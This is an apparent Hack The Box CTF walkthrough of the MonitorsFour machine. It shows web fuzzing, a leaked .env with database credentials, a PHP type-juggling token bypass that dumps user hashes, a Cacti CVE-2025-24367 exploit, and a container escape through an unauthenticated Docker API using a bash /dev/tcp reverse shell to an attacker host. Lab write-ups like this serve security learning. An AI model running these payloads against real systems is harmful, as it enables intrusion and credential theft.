![]()
INFORMATION GATHERING
$ nmap -sS -sV -O 10.10.11.98
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-07 09:23 EST
Stats: 0:01:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 72.10% done; ETC: 09:24 (0:00:32 remaining)
Stats: 0:02:04 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Stats: 0:02:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.89% done; ETC: 09:25 (0:00:00 remaining)
Stats: 0:02:31 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.89% done; ETC: 09:25 (0:00:00 remaining)
Stats: 0:02:38 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 75.00% done; ETC: 09:25 (0:00:02 remaining)
Nmap scan report for 10.10.11.98 (10.10.11.98)
Host is up (0.21s latency).
Not shown: 982 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx
366/tcp closed odmr
407/tcp closed timbuktu
500/tcp closed isakmp
901/tcp closed samba-swat
1124/tcp closed hpvmmcontrol
1259/tcp closed opennl-voice
1687/tcp closed nsjtp-ctrl
2557/tcp closed nicetec-mgmt
3269/tcp closed globalcatLDAPssl
3367/tcp closed satvid-datalnk
3493/tcp closed nut
3878/tcp closed fotogcad
5550/tcp closed sdadmind
5859/tcp closed wherehoo
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
13783/tcp closed netbackup
49156/tcp closed unknown
Device type: general purpose|WAP|specialized
Running (JUST GUESSING): Microsoft Windows XP|7|2012 (92%), Actiontec embedded (88%), Linux 2.4.X|3.X (88%), VMware Player (87%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012 cpe:/h:actiontec:mi424wr-gen3i cpe:/o:linux:linux_kernel cpe:/a:vmware:player cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2
Aggressive OS guesses: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012 (92%), Microsoft Windows XP SP3 (90%), Actiontec MI424WR-GEN3I WAP (88%), VMware Player virtual NAT device (87%), DD-WRT v24-sp2 (Linux 2.4.37) (87%), Linux 3.2 (86%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.50 seconds
The scan shows that ports 80 and 5985 are open, both exposing HTTP services. The operating system also appears to be, with high probability, Windows Server 2012.
Browsing to port 80 leads to this page:

The only visible entry point on the website is this login page, which asks for a username and password.

There is also a password recovery option, but regardless of the email address we provide, it does not tell us whether it is valid.

VULNERABILITY ASSESSMENT
Before trying to brute-force the login with sqlmap, let’s fuzz the website paths to look for additional endpoints.
ffuf -u http://monitorsfour.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc all -t 100 -e .php,.html,.txt,.env -fc 404,403
.env [Status: 200, Size: 97, Words: 1, Lines: 6, Duration: 126ms]
[Status: 200, Size: 13688, Words: 3598, Lines: 339, Duration: 220ms]
contact [Status: 200, Size: 367, Words: 34, Lines: 5, Duration: 2130ms]
controllers [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 172ms]
forgot-password [Status: 200, Size: 3099, Words: 164, Lines: 84, Duration: 964ms]
login [Status: 200, Size: 4340, Words: 1342, Lines: 96, Duration: 1514ms]
static [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 52ms]
user [Status: 200, Size: 35, Words: 3, Lines: 1, Duration: 4699ms]
views [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 169ms]
:: Progress: [23070/23070] :: Job [1/1] :: 47 req/sec :: Duration: [0:07:22] :: Errors: 200 ::
We find a .env file containing the parameters needed to connect to a MariaDB database.
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
However, the DBMS port is filtered.
PORT STATE SERVICE VERSION
3306/tcp filtered mysql
Accessing the /views path instead gives us HTML-only views of the PHP pages.
For example, trying to access /views/admin/dashboard.php:

Only the frontend of the page is shown.
Fuzzing virtual hosts gives us the following result:
ffuf -u http://monitorsfour.htb/ -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 3
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 637ms]

Version 1.2.28 is affected by CVE-2024-54145 (SQLi), CVE-2024-54146 (SQLi), CVE-2025-22604 (RCE), CVE-2025-24367 (RCE), CVE-2025-24368 (SQLi), and CVE-2024-45598 (LFI). All of them require authentication to the platform before they can be exploited.
Going back to the main website, we have an interesting endpoint from the previous fuzzing step.
curl -i "http://monitorsfour.htb/user"
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 07 Dec 2025 17:46:07 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Set-Cookie: PHPSESSID=fd12d361bc994dab586535bd7686cede; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
{"error":"Missing token parameter"}
If we provide /user?token=123 as a parameter, the application returns {"error":"Invalid or missing token"}.
Let’s test whether this endpoint is affected by type juggling by trying values in scientific notation such as 0e9999, 0e1234, and similar payloads.
This attack works when the comparison is loose: for example, if the code contains a statement like if ($token == $user['token']).
It also requires at least one token to start with 0e..., because PHP can interpret both strings as numbers in scientific notation. As a result, the comparison can be bypassed.
curl 'http://monitorsfour.htb/user?token=0e1234'
[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"1c41ea00e1f452a55a","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]
[
{
"id":2,
"username":"admin",
"email":"admin@monitorsfour.htb",
"password":"56b32eb43e6f15395f6c46c1c9e1cd36",
"role":"super user",
"token":"1c41ea00e1f452a55a",
"name":"Marcus Higgins",
"position":"System Administrator",
"dob":"1978-04-26",
"start_date":"2021-01-12",
"salary":"320800.00"
},
{
"id":5,
"username":"mwatson",
"email":"mwatson@monitorsfour.htb",
"password":"69196959c16b26ef00b77d82cf6eb169",
"role":"user",
"token":"0e543210987654321",
"name":"Michael Watson",
"position":"Website Administrator",
"dob":"1985-02-15",
"start_date":"2021-05-11",
"salary":"75000.00"
},
{
"id":6,
"username":"janderson",
"email":"janderson@monitorsfour.htb",
"password":"2a22dcf99190c322d974c8df5ba3256b",
"role":"user",
"token":"0e999999999999999",
"name":"Jennifer Anderson",
"position":"Network Engineer",
"dob":"1990-07-16",
"start_date":"2021-06-20",
"salary":"68000.00"
},
{
"id":7,
"username":"dthompson",
"email":"dthompson@monitorsfour.htb",
"password":"8d4a7e7fd08555133e056d9aacb1e519",
"role":"user",
"token":"0e111111111111111",
"name":"David Thompson",
"position":"Database Manager",
"dob":"1982-11-23",
"start_date":"2022-09-15",
"salary":"83000.00"
}
]
As we can see, this happens because some tokens start with 0e..., so PHP treats them ambiguously during a loose comparison.
Since the passwords are stored as MD5 hashes, we can crack them with a service such as CrackStation.
For example, the admin user’s password is wonderful1 (on HTB, this password may vary; in this run it was wonderful1).

On Cacti, however, the admin username is marcus.

EXPLOITATION
For exploitation, we will use this PoC for CVE-2025-24367.
We download the exploit, open a listener with nc -lvnp 4444, and run the command.
$ python exploit.py -u marcus -p wonderful1 -i <ip_attack> -l 4444 -url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: goXuq.php
[+] Got payload: /bash
[i] Created PHP filename: 9Z2nX.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80
The Got payload: /bash log means that the connection was triggered and that we should now have a shell on the target.
$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.15.177] from (UNKNOWN) [10.10.11.98] 55631
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ whoami
whoami
www-data
www-data@821fbd6a43fa:~/html/cacti$
www-data@821fbd6a43fa:~/html/cacti$ cd /home/marcus
www-data@821fbd6a43fa:~/home/marcus$ cat user.txt
a3**********************REDACTED
LATERAL MOVEMENT
At this point, we know the machine is Windows, but we are inside a Linux environment. This strongly suggests that we are inside a container. The next step is to escape from the container and access the Windows host.
Let’s inspect the container network.
$ ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2
$ cat /etc/resolv.conf
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.
nameserver 127.0.0.11
options ndots:0
# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal
This confirms that we are inside a Docker container. We also get the host network IP address: 192.168.65.7.
What we can do now is scan all open ports on the host address.
We can create a small script to automate the scan across all ports.
To transfer it, we start a local HTTP server on port 80 with http.server and download the file from inside the container.
#!/bin/bash
HOST="$1"
START="$2"
END="$3"
if [ -z "$HOST" ] || [ -z "$START" ] || [ -z "$END" ]; then
echo "Usage: $0 <host> <start_port> <end_port>"
exit 1
fi
echo "Scanning $HOST from port $START to $END..."
echo
for port in $(seq $START $END); do
timeout 0.3 bash -c "echo >/dev/tcp/$HOST/$port" 2>/dev/null &&
echo "[+] $port"
done
$ curl http://<ip_atk>/scan.sh -o scan.sh
$ chown www-data:www-data scan.sh
$ chmod 755 scan.sh
$ ./scan.sh 192.168.65.7 1 60000
Scanning 196.168.65.7 from port 1 to 60000 ...
[+] 53
[+] 2375
[+] 3128
[+] 5555
There are a few interesting ports, but the one we care about is 2375.
Port 2375 exposes the Docker Remote API without TLS, which means communication is plaintext and unauthenticated.
This endpoint allows us to:
- create containers
- delete containers
- mount volumes
- obtain information
- interact with the Docker daemon
This gives us a direct path to interact with the host and escape the container.
Let’s retrieve the exposed image information.
$ curl http://192.168.65.7:2375/images/json
[{"Containers":1,"Created":1762794130,"Id":"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666","Labels":{"com.docker.compose.project":"docker_setup","com.docker.compose.service":"nginx-php","com.docker.compose.version":"2.39.1"},"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666","size":856},"RepoDigests":["docker_setup-nginx-php@sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666"],"RepoTags":["docker_setup-nginx-php:latest"],"SharedSize":-1,"Size":1277167255},{"Containers":1,"Created":1762791053,"Id":"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40","Labels":{"com.docker.compose.project":"docker_setup","com.docker.compose.service":"mariadb","com.docker.compose.version":"2.39.1","org.opencontainers.image.authors":"MariaDB Community","org.opencontainers.image.base.name":"docker.io/library/ubuntu:noble","org.opencontainers.image.description":"MariaDB Database for relational SQL","org.opencontainers.image.documentation":"https://hub.docker.com/_/mariadb/","org.opencontainers.image.licenses":"GPL-2.0","org.opencontainers.image.ref.name":"ubuntu","org.opencontainers.image.source":"https://github.com/MariaDB/mariadb-docker","org.opencontainers.image.title":"MariaDB Database","org.opencontainers.image.url":"https://github.com/MariaDB/mariadb-docker","org.opencontainers.image.vendor":"MariaDB Community","org.opencontainers.image.version":"11.4.8"},"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40","size":856},"RepoDigests":["docker_setup-mariadb@sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40"],"RepoTags":["docker_setup-mariadb:latest"],"SharedSize":-1,"Size":454269972},{"Containers":0,"Created":1759921496,"Id":"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412","Labels":null,"ParentId":"","Descriptor":{"mediaType":"application/vnd.oci.image.index.v1+json","digest":"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412","size":9218},"RepoDigests":["alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412"],"RepoTags":["alpine:latest"],"SharedSize":-1,"Size":12794775}]
[
{
Containers: 1,
Created: 1762794130,
Id: "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
Labels: {
"com.docker.compose.project": "docker_setup",
"com.docker.compose.service": "nginx-php",
"com.docker.compose.version": "2.39.1",
},
ParentId: "",
Descriptor: {
mediaType: "application/vnd.oci.image.index.v1+json",
digest:
"sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
size: 856,
},
RepoDigests: [
"docker_setup-nginx-php@sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
],
RepoTags: ["docker_setup-nginx-php:latest"],
SharedSize: -1,
Size: 1277167255,
},
{
Containers: 1,
Created: 1762791053,
Id: "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
Labels: {
"com.docker.compose.project": "docker_setup",
"com.docker.compose.service": "mariadb",
"com.docker.compose.version": "2.39.1",
"org.opencontainers.image.authors": "MariaDB Community",
"org.opencontainers.image.base.name": "docker.io/library/ubuntu:noble",
"org.opencontainers.image.description":
"MariaDB Database for relational SQL",
"org.opencontainers.image.documentation":
"https://hub.docker.com/_/mariadb/",
"org.opencontainers.image.licenses": "GPL-2.0",
"org.opencontainers.image.ref.name": "ubuntu",
"org.opencontainers.image.source":
"https://github.com/MariaDB/mariadb-docker",
"org.opencontainers.image.title": "MariaDB Database",
"org.opencontainers.image.url":
"https://github.com/MariaDB/mariadb-docker",
"org.opencontainers.image.vendor": "MariaDB Community",
"org.opencontainers.image.version": "11.4.8",
},
ParentId: "",
Descriptor: {
mediaType: "application/vnd.oci.image.index.v1+json",
digest:
"sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
size: 856,
},
RepoDigests: [
"docker_setup-mariadb@sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
],
RepoTags: ["docker_setup-mariadb:latest"],
SharedSize: -1,
Size: 454269972,
},
{
Containers: 0,
Created: 1759921496,
Id: "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
Labels: null,
ParentId: "",
Descriptor: {
mediaType: "application/vnd.oci.image.index.v1+json",
digest:
"sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
size: 9218,
},
RepoDigests: [
"alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
],
RepoTags: ["alpine:latest"],
SharedSize: -1,
Size: 12794775,
},
];
We use the docker_setup-nginx-php image, since it is the one used by the service and also the environment where our reverse shell landed.
Then we build a payload that opens a reverse shell on port 4444.
{
"Image": "docker_setup-nginx-php:latest",
"Cmd": [
"/bin/bash",
"-c",
"bash -i >& /dev/tcp/<ip_attack>/4444 0>&1"
],
"HostConfig": {
"Binds": [
"/mnt/host/c:/win_host"
]
}
}
We send it to the Docker daemon with curl.
$ curl -X POST http://192.168.65.7:2375/containers/create -H "Content-Type: application/json" -d '{
"Image": "docker_setup-nginx-php:latest",
"Cmd": [
"/bin/bash",
"-c",
"bash -i >& /dev/tcp/<ip_attack>/4444 0>&1"
],
"HostConfig": {
"Binds": ["/mnt/host/c:/win_host"]
}
}'
{"Id":"<id>","Warnings":[]}
We take the ID generated by the daemon and start the container, while keeping nc -lvnp 4444 listening.
$ curl -X POST http://192.168.65.7:2375/containers/<id>/start
We receive the connection:
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.177] from (UNKNOWN) [10.10.11.98] 55670
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6cd612d7ae2f:/var/www/html#
We are now inside the host filesystem.
root@6cd612d7ae2f:/win_host/Users/Administrator/Desktop# cat root.txt
ff**********************REDACTED